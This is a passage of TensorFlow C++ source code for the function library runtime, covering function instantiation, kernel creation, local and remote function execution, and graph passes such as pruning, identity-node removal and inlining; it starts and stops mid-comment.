TODO(b/70346412): Implement support for remote function execution when // passing a call frame. void Run(const Options& opts, Handle handle, CallFrameInterface* frame, DoneCallback done) override; bool IsStateful(const string& function) override; const FunctionLibraryDefinition* GetFunctionLibraryDefinition() const override { return base_lib_def_; } Device* device() override { return device_; } const DeviceMgr* device_mgr() const override { return device_mgr_; } Env* env() override { return env_; } int graph_def_version() override { return graph_def_version_; } string DebugString(Handle h) override; Status Clone(std::unique_ptr<FunctionLibraryDefinition>* out_lib_def, std::unique_ptr<ProcessFunctionLibraryRuntime>* out_pflr, FunctionLibraryRuntime** out_flr) override; private: typedef FunctionLibraryRuntimeImpl ME; const DeviceMgr* const device_mgr_; Device* const device_; Env* const env_; const int graph_def_version_; const FunctionLibraryDefinition* const base_lib_def_; GraphOptimizer optimizer_; const CustomKernelCreator custom_kernel_creator_; Executor::Args::Runner default_runner_; const string device_name_; std::function<Status(const string&, const OpDef**)> get_func_sig_; std::function<Status(const NodeDef&, OpKernel**)> create_kernel_; mutable mutex mu_; int next_handle_ GUARDED_BY(mu_); // The instantiated and transformed function is encoded as a Graph // object, and an executor is created for the graph. struct Item { uint64 instantiation_counter = 0; const Graph* graph = nullptr; // Owned by exec. const FunctionLibraryDefinition* overlay_lib = nullptr; // Not owned. FunctionBody* func_graph = nullptr; Executor* exec = nullptr; string executor_type; ~Item() { delete this->func_graph; delete this->exec; } }; std::unordered_map<Handle, std::unique_ptr<Item>> items_ GUARDED_BY(mu_); ProcessFunctionLibraryRuntime* parent_ = nullptr; // not owned. Status CreateKernel(const NodeDef& ndef, const FunctionLibraryDefinition* lib_def, OpKernel** kernel); Status FunctionDefToBody(const FunctionDef& fdef, AttrSlice attrs, const FunctionLibraryDefinition* lib_def, FunctionBody** fbody); Status CreateItem(Handle handle, Item** item); Status GetOrCreateItem(Handle handle, Item** item); Status InstantiateSymbolicGradient(const NameAttrList& func, const FunctionLibraryDefinition* lib_def, FunctionBody** g_body); bool IsLocalTarget(const InstantiateOptions& options); AttrValueMap FixAttrs(const AttrSlice& attrs); void RunRemote(const Options& opts, Handle handle, gtl::ArraySlice<Tensor> args, std::vector<Tensor>* rets, Executor::Args* exec_args, Item* item, DoneCallback done); TF_DISALLOW_COPY_AND_ASSIGN(FunctionLibraryRuntimeImpl); }; FunctionLibraryRuntimeImpl::FunctionLibraryRuntimeImpl( const DeviceMgr* dmgr, Env* env, Device* device, int graph_def_version, const FunctionLibraryDefinition* lib_def, thread::ThreadPool* default_thread_pool, const OptimizerOptions& optimizer_options, CustomKernelCreator custom_kernel_creator, ProcessFunctionLibraryRuntime* parent) : device_mgr_(dmgr), device_(device), env_(env), graph_def_version_(graph_def_version), base_lib_def_(lib_def), optimizer_(optimizer_options), custom_kernel_creator_(std::move(custom_kernel_creator)), default_runner_(nullptr), device_name_(device_ == nullptr ? ProcessFunctionLibraryRuntime::kDefaultFLRDevice : device_->name()), next_handle_(0), parent_(parent) { get_func_sig_ = [this](const string& op, const OpDef** sig) { return base_lib_def_->LookUpOpDef(op, sig); }; create_kernel_ = [this](const NodeDef& ndef, OpKernel** kernel) { return CreateKernel(ndef, kernel); }; thread::ThreadPool* pool = nullptr; if (device_ != nullptr) { pool = device_->tensorflow_device_thread_pool(); } if (pool == nullptr) { pool = default_thread_pool; } if (pool != nullptr) { default_runner_ = [pool](Executor::Args::Closure c) { pool->Schedule(std::move(c)); }; } } FunctionLibraryRuntimeImpl::~FunctionLibraryRuntimeImpl() {} // An asynchronous op kernel which executes an instantiated function // defined in a library. class CallOp : public AsyncOpKernel { public: CallOp(FunctionLibraryRuntime::Handle handle, OpKernelConstruction* ctx) : AsyncOpKernel(ctx), handle_(handle) {} ~CallOp() override {} void ComputeAsync(OpKernelContext* ctx, DoneCallback done) override { FunctionLibraryRuntime* lib = ctx->function_library(); OP_REQUIRES_ASYNC(ctx, lib != nullptr, errors::Internal("No function library is provided."), done); FunctionLibraryRuntime::Options opts; opts.step_id = ctx->step_id(); opts.rendezvous = ctx->rendezvous(); opts.cancellation_manager = ctx->cancellation_manager(); opts.step_container = ctx->step_container(); opts.stats_collector = ctx->stats_collector(); opts.runner = ctx->runner(); std::vector<Tensor> args; args.reserve(ctx->num_inputs()); for (int i = 0; i < ctx->num_inputs(); ++i) { args.push_back(ctx->input(i)); } std::vector<Tensor>* rets = new std::vector<Tensor>; lib->Run(opts, handle_, args, rets, [ctx, done, rets](const Status& status) { if (!status.ok()) { ctx->SetStatus(status); } else { const int ret_size = static_cast<int>(rets->size()); CHECK_EQ(ret_size, ctx->num_outputs()); for (int i = 0; i < ret_size; ++i) { ctx->set_output(i, (*rets)[i]); } } delete rets; done(); }); } private: FunctionLibraryRuntime::Handle handle_; TF_DISALLOW_COPY_AND_ASSIGN(CallOp); }; const FunctionBody* FunctionLibraryRuntimeImpl::GetFunctionBody(Handle h) { LocalHandle local_handle = parent_->GetHandleOnDevice(device_name_, h); if (local_handle == kInvalidLocalHandle) { LOG(ERROR) << "Could not find Handle: " << h << " on device: " << device_name_; return nullptr; } mutex_lock l(mu_); CHECK_EQ(1, items_.count(local_handle)); return items_[local_handle]->func_graph; } Status FunctionLibraryRuntimeImpl::CreateKernel(const NodeDef& ndef, OpKernel** kernel) { return CreateKernel(ndef, base_lib_def_, kernel); } Status FunctionLibraryRuntimeImpl::CreateKernel( const NodeDef& ndef, const FunctionLibraryDefinition* lib_def, OpKernel** kernel) { // If a custom kernel creator is given, try that. Status s; if (custom_kernel_creator_) { std::unique_ptr<OpKernel> ret; s = custom_kernel_creator_(this, ndef, &ret); if (s.ok()) { *kernel = ret.release(); return s; } else { VLOG(2) << "Custom creator error: " << s; // Falls through. s = Status::OK(); } } if (lib_def->Find(ndef.op()) == nullptr) { // A primitive operation. Creates the registered kernel. return CreateNonCachedKernel(device_, this, ndef, graph_def_version_, kernel); } // Try to instantiate this function for the func/attr. Maybe it's // cached already. InstantiateOptions options; if (lib_def != base_lib_def_) { options.overlay_lib = lib_def; } Handle handle; TF_RETURN_IF_ERROR( Instantiate(ndef.op(), AttrSlice(&ndef.attr()), options, &handle)); const FunctionBody* fbody = GetFunctionBody(handle); CHECK_NOTNULL(fbody); // TODO(zhifengc): For now, we assume int32 and resources are always on host // memory and other types are always on device memory. We should do type // inference over function body to derive the correct input/output memory // types. MemoryTypeVector input_memory_types; for (const auto& t : fbody->arg_types) { input_memory_types.push_back( (t == DT_INT32 || t == DT_RESOURCE) ? HOST_MEMORY : DEVICE_MEMORY); } MemoryTypeVector output_memory_types; for (const auto& t : fbody->ret_types) { output_memory_types.push_back(t == DT_INT32 ? HOST_MEMORY : DEVICE_MEMORY); } // Constructs a CallOp kernel for running the instantiated function. auto device_type = DeviceType(device_->attributes().device_type()); OpKernelConstruction construction( device_type, device_, device_->GetAllocator(AllocatorAttributes()), &ndef, &fbody->fdef.signature(), this, fbody->arg_types, input_memory_types, fbody->ret_types, output_memory_types, graph_def_version_, &s); *kernel = new CallOp(handle, &construction); if (!s.ok()) { delete *kernel; } return s; } Status FunctionLibraryRuntimeImpl::FunctionDefToBody( const FunctionDef& fdef, AttrSlice attrs, const FunctionLibraryDefinition* lib_def, FunctionBody** fbody) { if (lib_def == base_lib_def_) { return FunctionDefToBodyHelper(fdef, attrs, lib_def, get_func_sig_, fbody); } else { auto get_func_sig = [lib_def](const string& op, const OpDef** sig) { return lib_def->LookUpOpDef(op, sig); }; return FunctionDefToBodyHelper(fdef, attrs, lib_def, get_func_sig, fbody); } } Status FunctionLibraryRuntimeImpl::InstantiateSymbolicGradient( const NameAttrList& func, const FunctionLibraryDefinition* lib_def, FunctionBody** g_body) { const FunctionDef* fdef = lib_def->Find(func.name()); if (fdef == nullptr) { // f is a primitive op. gradient::Creator creator; TF_RETURN_IF_ERROR(gradient::GetOpGradientCreator(func.name(), &creator)); if (creator == nullptr) { return errors::InvalidArgument("No gradient is defined for ", func.name()); } FunctionDef grad_fdef; // TODO(josh11b): Should filter out the attrs from func that aren't used // by the gradient function. TF_RETURN_IF_ERROR(creator(AttrSlice(&func.attr()), &grad_fdef)); TF_RETURN_IF_ERROR( FunctionDefToBody(grad_fdef, AttrSlice(&func.attr()), lib_def, g_body)); } else { // f is a user-defined function. InstantiateOptions options; if (lib_def != base_lib_def_) { options.overlay_lib = lib_def; } Handle f_handle; TF_RETURN_IF_ERROR( Instantiate(func.name(), AttrSlice(&func.attr()), options, &f_handle)); const FunctionBody* f_body = GetFunctionBody(f_handle); CHECK_NOTNULL(f_body); *g_body = SymbolicGradient(*f_body); } return Status::OK(); } bool FunctionLibraryRuntimeImpl::IsLocalTarget( const InstantiateOptions& options) { if (device_ == nullptr) return true; if (options.target.empty()) return true; Device* target_device; if (!device_mgr_->LookupDevice(options.target, &target_device).ok()) { return false; } return target_device == device_; } Status FunctionLibraryRuntimeImpl::Instantiate( const string& function_name, AttrSlice attrs, const InstantiateOptions& options, Handle* handle) { if (!IsLocalTarget(options)) { return parent_->Instantiate(function_name, attrs, options, handle); } // Since this is a local target, ensure that the local `device_name_` appears // in the canonical key. InstantiateOptions options_copy(options); options_copy.target = device_name_; const string key = Canonicalize(function_name, attrs, options_copy); { mutex_lock l(mu_); *handle = parent_->GetHandle(key); if (*handle != kInvalidHandle) { FunctionLibraryRuntime::LocalHandle handle_on_device = parent_->GetHandleOnDevice(device_name_, *handle); if (handle_on_device == kInvalidLocalHandle) { return errors::Internal("LocalHandle not found for handle ", *handle, "."); } auto item_handle = items_.find(handle_on_device); if (item_handle == items_.end()) { return errors::Internal("LocalHandle ", handle_on_device, " for handle ", *handle, " not found in items."); } ++item_handle->second->instantiation_counter; return Status::OK(); } } Status s; const FunctionLibraryDefinition* lib_def = options.overlay_lib ? options.overlay_lib : base_lib_def_; FunctionBody* fbody = nullptr; if (function_name == kGradientOp) { const AttrValue* f = attrs.Find(kFuncAttr); if (f == nullptr) { return errors::InvalidArgument("SymbolicGradient is missing attr: f"); } const auto& func = f->func(); if (func.name() == kGradientOp) { return errors::InvalidArgument("Can't take gradient of SymbolicGradient"); } const string grad = lib_def->FindGradient(func.name()); if (!grad.empty()) { return Instantiate(grad, AttrSlice(&func.attr()), options, handle); } TF_RETURN_IF_ERROR(InstantiateSymbolicGradient(func, lib_def, &fbody)); } else { const FunctionDef* fdef = lib_def->Find(function_name); if (fdef == nullptr) { return errors::NotFound("Function ", function_name, " is not defined."); } TF_RETURN_IF_ERROR(FunctionDefToBody(*fdef, attrs, lib_def, &fbody)); } { mutex_lock l(mu_); *handle = parent_->GetHandle(key); if (*handle != kInvalidHandle) { delete fbody; ++items_[parent_->GetHandleOnDevice(device_name_, *handle)] ->instantiation_counter; } else { *handle = parent_->AddHandle(key, device_name_, next_handle_); Item* item = new Item; item->func_graph = fbody; item->overlay_lib = options.overlay_lib; item->instantiation_counter = 1; item->executor_type = options.executor_type; items_.emplace(next_handle_, std::unique_ptr<Item>(item)); next_handle_++; } } return Status::OK(); } Status FunctionLibraryRuntimeImpl::ReleaseHandle(Handle handle) { if (!parent_->IsInstantiatedOnDevice(device_name_, handle)) { return parent_->ReleaseHandle(handle); } LocalHandle h = parent_->GetHandleOnDevice(device_name_, handle); CHECK_NE(h, kInvalidLocalHandle); mutex_lock l(mu_); CHECK_EQ(1, items_.count(h)); std::unique_ptr<Item>& item = items_[h]; --item->instantiation_counter; if (item->instantiation_counter == 0) { items_.erase(h); TF_RETURN_IF_ERROR(parent_->RemoveHandle(handle)); } return Status::OK(); } void DumpGraph(StringPiece label, const Graph* g) { // TODO(zhifengc): Change Graph to record #nodes. VLOG(1) << "Graph " << label << " #nodes " << g->num_nodes() << " #edges " << g->num_edges(); if (VLOG_IS_ON(2)) { for (const auto& line : str_util::Split(DebugString(g), '\n')) { VLOG(2) << "|| " << line; } } } void OptimizeGraph(FunctionLibraryRuntime* lib, std::unique_ptr<Graph>* g) { OptimizerOptions opts; opts.set_do_common_subexpression_elimination(true); opts.set_do_function_inlining(true); opts.set_do_constant_folding(true); GraphOptimizer optimizer(opts); optimizer.Optimize(lib, lib->env(), lib->device(), g, /*shape_map=*/nullptr); } namespace { // Removes all stateless nodes that do not contribute to a return // value from the function body. Unlike `RemoveDeadNodes()`, which is // triggered by `OptimizerOptions.do_function_inlining`, this pass // ignores the SINK node, from which (by definition) all nodes are // reverse reachable. void PruneFunctionBody(Graph* g) { VLOG(2) << "Pruning function body"; std::unordered_set<const Node*> nodes; for (auto n : g->nodes()) { // NOTE(mrry): "_Retval" nodes are stateful, and so will be added // to the seed set of `nodes`. // TODO(mrry): Investigate whether the `n->IsControlFlow()` test is // still needed. It would be preferable to prune entire loops and/or // conditionals if they are not used in the graph. if (n->IsControlFlow() || n->op_def().is_stateful()) { nodes.insert(n); } } bool changed = PruneForReverseReachability(g, std::move(nodes)); if (changed) { FixupSourceAndSinkEdges(g); } } } // namespace Status FunctionLibraryRuntimeImpl::CreateItem(Handle handle, Item** item) { const FunctionBody* fbody; const FunctionLibraryDefinition* lib_def; string executor_type; { mutex_lock l(mu_); fbody = (*item)->func_graph; lib_def = (*item)->overlay_lib; executor_type = (*item)->executor_type; } if (!lib_def) { lib_def = base_lib_def_; } std::unique_ptr<Graph> g(new Graph(lib_def)); CopyGraph(*fbody->graph, g.get()); PruneFunctionBody(g.get()); optimizer_.Optimize(this, env(), device(), &g, /*shape_map=*/nullptr); TF_RETURN_IF_ERROR(EnsureMemoryTypes(DeviceType(device()->device_type()), device()->name(), g.get())); // Creates an executor based on the g. This must be done without // holding mu_ because create_kernel_ calls back into the library. LocalExecutorParams params; params.device = device_; params.function_library = this; if (lib_def == base_lib_def_) { params.create_kernel = create_kernel_; } else { params.create_kernel = [this, lib_def](const NodeDef& ndef, OpKernel** kernel) { return CreateKernel(ndef, lib_def, kernel); }; } params.delete_kernel = [](OpKernel* kernel) { DeleteNonCachedKernel(kernel); }; Graph* graph = g.get(); std::unique_ptr<Executor> exec; TF_RETURN_IF_ERROR(NewExecutor(executor_type, params, std::move(g), &exec)); { // Guard item since it is already inserted in items_. mutex_lock l(mu_); if ((*item)->exec == nullptr) { (*item)->graph = graph; (*item)->exec = exec.release(); } } return Status::OK(); } Status FunctionLibraryRuntimeImpl::GetOrCreateItem(Handle handle, Item** item) { LocalHandle local_handle = parent_->GetHandleOnDevice(device_name_, handle); { mutex_lock l(mu_); if (items_.count(local_handle) == 0) { return errors::NotFound("Function handle ", handle, " is not valid. Likely an internal error."); } *item = items_[local_handle].get(); if ((*item)->exec != nullptr) { return Status::OK(); } } // NOTE: We need to call CreateItem out of mu_ because creating an // executor needs to call CreateKernel. return CreateItem(handle, item); } void FunctionLibraryRuntimeImpl::RunRemote(const Options& opts, Handle handle, gtl::ArraySlice<Tensor> args, std::vector<Tensor>* rets, Executor::Args* exec_args, Item* item, DoneCallback done) { DCHECK(exec_args->call_frame == nullptr); string target_device = parent_->GetDeviceName(handle); string source_device = opts.source_device; Rendezvous* rendezvous = opts.rendezvous; DeviceContext* device_context; Status s = parent_->GetDeviceContext(target_device, &device_context); if (!s.ok()) { delete exec_args; done(s); return; } int64 src_incarnation, target_incarnation; s = parent_->GetDeviceIncarnation(source_device, &src_incarnation); s.Update(parent_->GetDeviceIncarnation(target_device, &target_incarnation)); if (!s.ok()) { delete exec_args; done(s); return; } const FunctionBody* fbody = GetFunctionBody(handle); FunctionCallFrame* frame = new FunctionCallFrame(fbody->arg_types, fbody->ret_types); exec_args->call_frame = frame; if (!s.ok()) { delete frame; delete exec_args; done(s); return; } std::vector<AllocatorAttributes> args_alloc_attrs, rets_alloc_attrs; args_alloc_attrs.reserve(fbody->arg_types.size()); rets_alloc_attrs.reserve(fbody->ret_types.size()); for (const auto& arg_type : fbody->arg_types) { AllocatorAttributes arg_alloc_attrs; if (DataTypeAlwaysOnHost(arg_type)) { arg_alloc_attrs.set_on_host(true); } args_alloc_attrs.push_back(arg_alloc_attrs); } for (const auto& ret_type : fbody->ret_types) { AllocatorAttributes ret_alloc_attrs; if (DataTypeAlwaysOnHost(ret_type)) { ret_alloc_attrs.set_on_host(true); } rets_alloc_attrs.push_back(ret_alloc_attrs); } // The ProcFLR sends the arguments to the function from the source_device to // the target_device. So here we receive those arguments. Similarly, when the // computation is done and stored in *rets, we send the return values back // to the source_device (caller) so that the ProcFLR can receive them later. std::vector<Tensor>* remote_args = new std::vector<Tensor>; ProcessFunctionLibraryRuntime::ReceiveTensorsAsync( source_device, target_device, "arg_", src_incarnation, args.size(), device_context, args_alloc_attrs, rendezvous, remote_args, [frame, remote_args, item, source_device, target_device, target_incarnation, rendezvous, device_context, rets, done, exec_args, rets_alloc_attrs](const Status& status) { Status s = status; if (s.ok()) { s = frame->SetArgs(*remote_args); } if (!s.ok()) { delete frame; delete remote_args; delete exec_args; done(s); return; } item->exec->RunAsync( *exec_args, [frame, rets, done, source_device, target_device, target_incarnation, rendezvous, device_context, remote_args, exec_args, rets_alloc_attrs](const Status& status) { Status s = status; if (s.ok()) { s = frame->ConsumeRetvals(rets); } delete frame; if (!s.ok()) { delete remote_args; delete exec_args; done(s); return; } s = ProcessFunctionLibraryRuntime::SendTensors( target_device, source_device, "ret_", target_incarnation, *rets, device_context, rets_alloc_attrs, rendezvous); delete remote_args; delete exec_args; done(s); }); }); } void FunctionLibraryRuntimeImpl::Run(const Options& opts, Handle handle, gtl::ArraySlice<Tensor> args, std::vector<Tensor>* rets, DoneCallback done) { if (opts.cancellation_manager && opts.cancellation_manager->IsCancelled()) { done(errors::Cancelled("")); return; } Options run_opts = opts; if (opts.create_rendezvous) { Rendezvous* rendezvous = new IntraProcessRendezvous(device_mgr_); run_opts.rendezvous = rendezvous; run_opts.create_rendezvous = false; done = [done, rendezvous](const Status& status) { rendezvous->Unref(); done(status); }; } if (!parent_->IsInstantiatedOnDevice(device_name_, handle)) { parent_->Run(run_opts, handle, args, rets, done); return; } if (run_opts.runner == nullptr) { run_opts.runner = &default_runner_; } DCHECK(run_opts.runner != nullptr); Executor::Args* exec_args = new Executor::Args; // Inherit the step_id from the caller. exec_args->step_id = run_opts.step_id; exec_args->rendezvous = run_opts.rendezvous; exec_args->stats_collector = run_opts.stats_collector; exec_args->cancellation_manager = run_opts.cancellation_manager; exec_args->step_container = run_opts.step_container; exec_args->runner = *run_opts.runner; exec_args->collective_executor = run_opts.collective_executor; Item* item = nullptr; Status s = GetOrCreateItem(handle, &item); if (!s.ok()) { delete exec_args; done(s); return; } if (run_opts.remote_execution) { // NOTE(mrry): `RunRemote()` will set `exec_args->call_frame` for us. RunRemote(run_opts, handle, args, rets, exec_args, item, done); return; } const FunctionBody* fbody = GetFunctionBody(handle); FunctionCallFrame* frame = new FunctionCallFrame(fbody->arg_types, fbody->ret_types); exec_args->call_frame = frame; s = frame->SetArgs(args); if (!s.ok()) { delete frame; delete exec_args; done(s); return; } item->exec->RunAsync( // Executor args *exec_args, // Done callback. [frame, rets, done, exec_args](const Status& status) { Status s = status; if (s.ok()) { s = frame->ConsumeRetvals(rets); } delete frame; delete exec_args; done(s); }); } void FunctionLibraryRuntimeImpl::Run(const Options& opts, Handle handle, CallFrameInterface* frame, DoneCallback done) { if (opts.cancellation_manager && opts.cancellation_manager->IsCancelled()) { done(errors::Cancelled("")); return; } if (!parent_->IsInstantiatedOnDevice(device_name_, handle) || opts.remote_execution) { done(errors::Unimplemented("Remote calling with CallFrameInterface")); return; } Options run_opts = opts; if (opts.create_rendezvous) { Rendezvous* rendezvous = new IntraProcessRendezvous(device_mgr_); run_opts.rendezvous = rendezvous; run_opts.create_rendezvous = false; done = std::bind( [rendezvous](DoneCallback done, // Begin unbound arguments. const Status& status) { rendezvous->Unref(); done(status); }, std::move(done), std::placeholders::_1); } Item* item = nullptr; Status s = GetOrCreateItem(handle, &item); if (!s.ok()) { done(s); return; } if (run_opts.runner == nullptr) { run_opts.runner = &default_runner_; } DCHECK(run_opts.runner != nullptr); Executor::Args* exec_args = new Executor::Args; // Inherit the step_id from the caller. exec_args->step_id = run_opts.step_id; exec_args->rendezvous = run_opts.rendezvous; exec_args->stats_collector = run_opts.stats_collector; exec_args->cancellation_manager = run_opts.cancellation_manager; exec_args->collective_executor = run_opts.collective_executor; exec_args->step_container = run_opts.step_container; exec_args->runner = *run_opts.runner; exec_args->call_frame = frame; item->exec->RunAsync( // Executor args *exec_args, // Done callback. std::bind( [item, frame, exec_args](DoneCallback done, // Start unbound arguments. const Status& status) { delete exec_args; done(status); }, std::move(done), std::placeholders::_1)); } bool FunctionLibraryRuntimeImpl::IsStateful(const string& func) { const OpDef* op_def; const Status s = base_lib_def_->LookUpOpDef(func, &op_def); return s.ok() && op_def->is_stateful(); } string FunctionLibraryRuntimeImpl::DebugString(Handle handle) { Item* item = nullptr; Status s = GetOrCreateItem(handle, &item); if (s.ok()) { return tensorflow::DebugString(item->graph); } else { return s.ToString(); } } Status FunctionLibraryRuntimeImpl::Clone( std::unique_ptr<FunctionLibraryDefinition>* out_lib_def, std::unique_ptr<ProcessFunctionLibraryRuntime>* out_pflr, FunctionLibraryRuntime** out_flr) { TF_RETURN_IF_ERROR( parent_->Clone(env_, graph_def_version_, optimizer_.options(), custom_kernel_creator_, out_lib_def, out_pflr)); *out_flr = (*out_pflr)->GetFLR(device_->name()); if (out_flr != nullptr) { return Status::OK(); } else { return errors::Internal("Cloning FunctionLibraryRuntime failed."); } } namespace { struct CustomCreatorSingleton { mutex mu; CustomKernelCreator custom_creator = nullptr; void Set(CustomKernelCreator cb) { mutex_lock l(mu); custom_creator = std::move(cb); } CustomKernelCreator Get() { mutex_lock l(mu); return custom_creator; } }; CustomCreatorSingleton* GetCustomCreatorSingleton() { static CustomCreatorSingleton* ccs = new CustomCreatorSingleton; return ccs; } } // namespace void RegisterDefaultCustomKernelCreator(CustomKernelCreator cb) { GetCustomCreatorSingleton()->Set(std::move(cb)); } std::unique_ptr<FunctionLibraryRuntime> NewFunctionLibraryRuntime( const DeviceMgr* device_mgr, Env* env, Device* device, int graph_def_version, const FunctionLibraryDefinition* lib_def, thread::ThreadPool* thread_pool, const OptimizerOptions& optimizer_options, CustomKernelCreator custom_kernel_creator, ProcessFunctionLibraryRuntime* parent) { return std::unique_ptr<FunctionLibraryRuntime>(new FunctionLibraryRuntimeImpl( device_mgr, env, device, graph_def_version, lib_def, thread_pool, optimizer_options, std::move(custom_kernel_creator), parent)); } std::unique_ptr<FunctionLibraryRuntime> NewFunctionLibraryRuntime( const DeviceMgr* device_mgr, Env* env, Device* device, int graph_def_version, const FunctionLibraryDefinition* lib_def, thread::ThreadPool* thread_pool, const OptimizerOptions& optimizer_options, ProcessFunctionLibraryRuntime* parent) { return NewFunctionLibraryRuntime(device_mgr, env, device, graph_def_version, lib_def, thread_pool, optimizer_options, GetCustomCreatorSingleton()->Get(), parent); } bool RemoveDeadNodes(Graph* g) { VLOG(2) << "Removing dead nodes"; std::unordered_set<const Node*> nodes; for (auto n : g->nodes()) { if (n->IsSource() || n->IsSink() || n->IsControlFlow() || n->op_def().is_stateful()) { nodes.insert(n); } } return PruneForReverseReachability(g, std::move(nodes)); } namespace { // If 'edges' contains only 1 non-control edge, returns it. Otherwise, // returns a nullptr. const Edge* GetTheOnlyDataEdge(const EdgeSet& edges) { const Edge* ret = nullptr; for (const Edge* e : edges) { if (e->IsControlEdge() || ret) { // Don't touch it if there is a control edge. return nullptr; } if (IsRefType(e->src()->output_type(e->src_output()))) { // Don't touch it if the identity node is effectively de-reffing // a ref. return nullptr; } if (IsRecv(e->src()) || IsSwitch(e->src())) { // Don't touch it if the identity is introduced for control flow. // Recv disables all its successors if it receives a dead signal. // When Recv has an outgoing control edge, the current executor // would not disable the destination. The current solution (see // graph_partition.cc) is to add an identity after Recv and change // the control edge to be from this identity node. So the identity // can't be removed. return nullptr; } ret = e; } return ret; } } // end namespace bool RemoveIdentityNodes(Graph* g) { VLOG(2) << "Removing identity nodes"; bool removed_any = false; gtl::InlinedVector<Node*, 8> matches; for (Node* n : g->nodes()) { if (!n->IsIdentity()) continue; if (!GetTheOnlyDataEdge(n->in_edges())) continue; // Some identity nodes are used as sink nodes to give names to output // tensors. These nodes are not going to be executed unless they are in the // fetch set. But if they are in the fetch set we don't want to remove them. if (n->out_edges().empty()) continue; matches.push_back(n); } if (!matches.empty()) { for (Node* n : matches) { const Edge* in = GetTheOnlyDataEdge(n->in_edges()); for (const Edge* out : n->out_edges()) { if (out->IsControlEdge()) { g->AddControlEdge(in->src(), out->dst()); } else { g->AddEdge(in->src(), in->src_output(), out->dst(), out->dst_input()); } } VLOG(2) << "Remove Identity: " << n->DebugString(); g->RemoveNode(n); removed_any = true; } } return removed_any; } bool RemoveListArrayConverter(Graph* g) { VLOG(2) << "Removing list array converter"; gtl::InlinedVector<Node*, 8> matches; for (Node* n : g->nodes()) { if ((n->type_string() == "_ListToArray") || (n->type_string() == "_ArrayToList")) { matches.push_back(n); } } bool removed_any = false; if (!matches.empty()) { for (Node* n : matches) { if (n->num_inputs() != n->num_outputs()) { continue; // Not expected. Skip. } gtl::InlinedVector<Node*, 8> identity_nodes(n->num_inputs(), nullptr); // Process input edges first. Node* input_control_node = nullptr; for (const Edge* e : n->in_edges()) { if (e->IsControlEdge()) { if (input_control_node == nullptr) { // If node "n" has any control dependencies, adds a no-op // node (input_control_node) which the additional Identity // nodes depends on and the input_control_node depends on // the node "n"s control dependencies. input_control_node = AddNoOp(g); } g->AddControlEdge(e->src(), input_control_node); } else { const int index = e->dst_input(); Node** id_node = &identity_nodes[index]; if (*id_node != nullptr) { LOG(ERROR) << "RemoveListArrayConverter unexpected duplicated input: " << e->dst_input(); return removed_any; } *id_node = AddIdentity(g, {e->src(), e->src_output()}); } } // If node "n" has any control dependencies, the added identity // nodes should have control dependencies on input_control_node. if (input_control_node != nullptr) { for (Node* id : identity_nodes) { g->AddControlEdge(input_control_node, id); } } Node* output_control_node = nullptr; for (const Edge* e : n->out_edges()) { if (e->IsControlEdge()) { if (output_control_node == nullptr) { // If node "n" is control-depended upon by other nodes, // adds a no-op node (output_control_node) which those // nodes will depend on and output_control_node depends on // all Identity nodes. output_control_node = AddNoOp(g); } g->AddControlEdge(output_control_node, e->dst()); } else { Node* id_node = identity_nodes[e->src_output()]; if (id_node == nullptr) { LOG(ERROR) << "RemoveListArrayConverter unexpected missing input: " << e->src_output(); return removed_any; } CHECK(id_node); g->AddEdge(id_node, 0, e->dst(), e->dst_input()); } } // If any nodes have control dependencies on node "n", those // nodes should have control dependencies on // output_control_node. if (output_control_node != nullptr) { for (Node* id : identity_nodes) { g->AddControlEdge(id, output_control_node); } } g->RemoveNode(n); removed_any = true; } } return removed_any; } // Returns true iff the function '*fbody' can be inlined at 'node' // based on the type signature of 'node' and 'fbody'. static bool ValidateInlining(const Node* node, const FunctionBody* fbody) { if (static_cast<size_t>(node->num_inputs()) != fbody->arg_types.size()) { return false; } if (static_cast<size_t>(node->num_inputs()) != fbody->arg_nodes.size()) { return false; } if (static_cast<size_t>(node->num_outputs()) != fbody->ret_types.size()) { return false; } if (static_cast<size_t>(node->num_outputs()) != fbody->ret_nodes.size()) { return false; } for (int i = 0; i < node->num_inputs(); ++i) { if (node->input_type(i) != fbody->arg_types[i]) return false; } for (int i = 0; i < node->num_outputs(); ++i) { if (node->output_type(i) != fbody->ret_types[i]) return false; } return true; } // Given a "caller" in graph "g", which is a function call of a function // to "fbody". Replaces the "caller" with fbody->graph and connects // edges properly. "override_device" specifies whether inlining should replace // explicitly specified devices inside fbody with the callee's device. void InlineFunctionBody(const FunctionLibraryDefinition& flib_def, Graph* g, Node* caller, const FunctionBody* fbody, bool override_device) { if (!ValidateInlining(caller, fbody)) { LOG(WARNING) << "Inlining mismatch: " << caller->DebugString() << " vs. " << DebugString(fbody->graph); return; } // Input edges. For data edges coming into "caller", we first compute the // <src>:<src_output> for the i-th input in "inputs". // If "caller" has any input control dependencies, we add a NoOp // node "input_control_node", which depends on "caller"'s control inputs. std::vector<Endpoint> inputs(caller->num_inputs()); Node* input_control_node = nullptr; for (const Edge* e : caller->in_edges()) { if (e->IsControlEdge()) { if (input_control_node == nullptr) { input_control_node = AddNoOp(g); } g->AddControlEdge(e->src(), input_control_node); } else { inputs[e->dst_input()] = {e->src(), e->src_output()}; } } // Duplicate fbody->graph into 'g'. First, we copy the nodes of // fbody->graph into 'g' except the source and sink nodes. We copy // edges among nodes in 'fbody->graph'. // // If 'x' is a node in fbody->graph and its copy in 'g' is 'y', we // remember 'y' in node_map[x->id()]. std::vector<Node*> node_map(fbody->graph->num_node_ids()); Status s; for (Node* n : fbody->graph->op_nodes()) { NodeDef ndef = n->def(); ndef.set_name(strings::StrCat(caller->name(), "/", ndef.name())); if (override_device || ndef.device().empty()) { ndef.set_device(caller->def().device()); } Node* clone = g->AddNode(ndef, &s); TF_CHECK_OK(s); node_map[n->id()] = clone; // If there is an input control node, and one of: // a) the node has no data or control inputs, or // b) the node is a function call or SymbolicGradient, // then add a control edge from the input control node to the clone. // // We must not execute any nodes if the original function call would not // have executed. This is especially critical when the function call is // inside a control-flow construct like tf.cond(). Case (a) ensures that // such nodes do not run. // // The purpose of case (b) is to ensure that instances of case (a) created // by further inlining steps also receive the control dependency. if (input_control_node) { bool has_inputs = false; for (const Edge* e : n->in_edges()) { if (!e->src()->IsSource()) { has_inputs = true; break; } } if (!has_inputs || flib_def.Find(clone->type_string()) != nullptr || clone->type_string() == "SymbolicGradient") { g->AddControlEdge(input_control_node, clone); } } } for (const Edge* e : fbody->graph->edges()) { if (e->src()->IsSource() || e->src()->IsSink() || e->dst()->IsSource() || e->dst()->IsSink()) { continue; } Node* src_copy = node_map[e->src()->id()]; Node* dst_copy = node_map[e->dst()->id()]; g->AddEdge(src_copy, e->src_output(), dst_copy, e->dst_input()); } // Connect input edges. // // We create one 